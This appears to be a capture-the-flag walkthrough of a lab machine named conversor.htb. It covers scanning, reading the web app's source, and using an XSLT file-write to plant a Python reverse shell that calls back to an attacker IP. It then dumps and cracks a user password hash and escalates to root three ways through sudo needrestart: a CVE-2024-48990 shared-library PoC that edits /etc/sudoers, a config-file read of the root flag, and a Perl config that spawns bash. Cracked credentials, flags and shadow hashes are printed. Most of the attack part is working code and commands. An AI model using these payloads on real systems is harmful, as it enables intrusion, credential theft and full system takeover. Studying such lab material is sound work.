Enum

  • Scans + updating /etc/host
$ export IP=10.129.33.180; rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=
|   256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
$ echo "$IP conversor.htb" | sudo tee -a /etc/hosts

  • Register a user and you will see some file upload fields and links

$ curl -o source_code.tar.gz http://conversor.htb/static/source_code.tar.gz
$ tar -xf source_code.tar.gz
$ tree
.
├── app.py
├── app.wsgi
├── install.md
├── instance
│   └── users.db
├── scripts
├── source_code.tar.gz
├── static
│   ├── images
│   │   ├── arturo.png
│   │   ├── david.png
│   │   └── fismathack.png
│   ├── nmap.xslt
│   └── style.css
├── templates
│   ├── about.html
│   ├── base.html
│   ├── index.html
│   ├── login.html
│   ├── register.html
│   └── result.html
└── uploads
  • We can assume this is likely a www-data user running this app from /var/www/*
  • Confirmed filepath in both app.py and app.wgsi
  • We also discover a potential vulnerability that exists within the XSLT handling of app.py. Specifically it lacks the same restrictions for XML, not being parsed the same way.
$ cat app.py
...
DB_PATH = '/var/www/conversor.htb/instance/users.db'
...
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path) # parser not called
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
...
 
$ cat app.wsgi
import sys
sys.path.insert(0, "/var/www/conversor.htb")
 
from app import app as application
  • From install.md we find very pertinent information
$ cat install.md
 
To deploy Conversor, we can extract the compressed file:
 
"""
tar -xvf source_code.tar.gz
"""
 
We install flask:
 
"""
pip3 install flask
"""
 
We can run the app.py file:
 
"""
python3 app.py
"""
 
You can also run it with Apache using the app.wsgi file.
 
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
 
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
  • www-data user confirmed
  • Write perms for any and all /var/www/conversor.htb/scripts/*.py executed by cronjob
  • If we can add a script there it will eventually be executed
  • We are interested in the file write payload specifically since we need to put python script onto system
  • PayloadsAllThings

Write Files with EXSLT Extension

EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
  • Going off this example, we will modify it to write a python revshell script instead

dummy.xml

  • Just a placeholder since it is required for processing
<root/>

rev.xslt

  • Modified XSLT containing payload pointed in correct filepath
  • Update your IP and PORT
  • Make sure you don’t add indentation whitespace or you will not get a shell back due to python errors
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/revshell.py" method="text">
import socket, subprocess, os
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<IP>", <PORT>))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
import pty
 
pty.spawn("/bin/bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

  • Catch with listener and dump users.db
$ penelope -p 6969
[+] Got reverse shell from conversor~10.129.33.180-Linux-x86_64 😍️ Assigned SessionID <1>
 
(Penelope)> sessions 1
 
www-data@conversor:~$ pwd
/var/www

User

  • We can now dump users.db and crack with hashcat
www-data@conversor:~$ sqlite3 conversor.htb/instance/users.db .dump
 
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    );
INSERT INTO users VALUES(1,'fismathack','5b5c3ac3a1c897c94caad48e6c71fdec');
CREATE TABLE files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    );
 
$ hashcat -m 0 5b5c3ac3a1c897c94caad48e6c71fdec /usr/share/wordlists/rockyou.txt
 
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
 
$ ssh fismathack@$IP
 
fismathack@conversor:~$ ls
user.txt
 
fismathack@conversor:~$ cat user.txt
3f348557557bd797d209fee28b60d4b4

Root1 POC

fismathack@conversor:~$ sudo -l
 
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
  • Can run needrestart binary as sudo
  • Check version
fismathack@conversor:~$ needrestart --version
 
needrestart 3.7 - Restart daemons after library updates.
*snip*
  • Google search quickly reveals CVE-2024-48990 PoC
  • We first create documented directory /tmp/malicious/importlib
fismathack@conversor:~$ mkdir -p /tmp/malicious/importlib
  • On attacker machine (gcc not installed on target)
$ cat << 'EOF' > lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
static void a() __attribute__((constructor));
 
void a() {
    if(geteuid() == 0) {
        setuid(0); setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                           "chmod u+s /tmp/poc; "
                           "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                           "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF
  • Compile
$ gcc -shared -fPIC -o __init__.so lib.c
  • Transfer to /tmp/malicious/importlib/
$ scp __init__.so fismathack@conversor.htb:/tmp/malicious/importlib/
  • Create e.py
  • Trigger and spawn root shell
fismathack@conversor:~$ cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF
 
fismathack@conversor:~$ cd /tmp/malicious && PYTHONPATH="$PWD" python3 e.py 2>/dev/null &
fismathack@conversor:~$ sudo needrestart
 
Got shell!, delete traces in /tmp/poc, /tmp/malicious
 
fismathack@conversor:~$ ls -ls /tmp
total 164
  4 drwxrwxr-x 3 fismathack fismathack   4096 Oct 69 00:00 malicious
124 -rwsr-xr-x 1 root       root       125688 Oct 69 00:00 poc
 
fismathack@conversor:~$ sudo -l
 
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
    (root) NOPASSWD: /tmp/poc
  • We see poc was created with root setuid
  • Spawn root shell with -p flag
fismathack@conversor:~$ /tmp/poc -p
 
$ id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
 
$ ls /root
root.txt  scripts

Root2 ( -c file read only)

  • Loads any file as a config file leaking its contents, can do so with root flag directly
fismathack@conversor:~$ sudo needrestart -c /root/root.txt
Error parsing /root/root.txt: Bareword "a4e1aed012594089722de598ae0ea40c" not allowed while "strict subs" in use at (eval 14) line 1.

Root3 (-c Perl RCE)

  • Similar idea but avoiding errors and allowing code execution for full root shell
fismathack@conversor:~$ echo 'BEGIN { system("/bin/bash") }' > /tmp/root.conf
fismathack@conversor:~$ sudo needrestart -c /tmp/root.conf
 
root@conversor:/home/fismathack$ id
uid=0(root) gid=0(root) groups=0(root)
 
root@conversor:/home/fismathack$ cat /etc/shadow
 
root:$y$j9T$CxUp91Y7aNmCAg.0BrP1N1$NFfbRCjYo56DBVoop2pwSbs9snvrUGR0IEINR4qZfmB:20301:0:99999:7:::
fismathack:$y$j9T$Em7KF.PXS5RiFQPkRzVUo.$tMXvaVSk5wpypsh250ddml9Ko./E8.7DnQSgs2AhKx2:20314:0:99999:7:::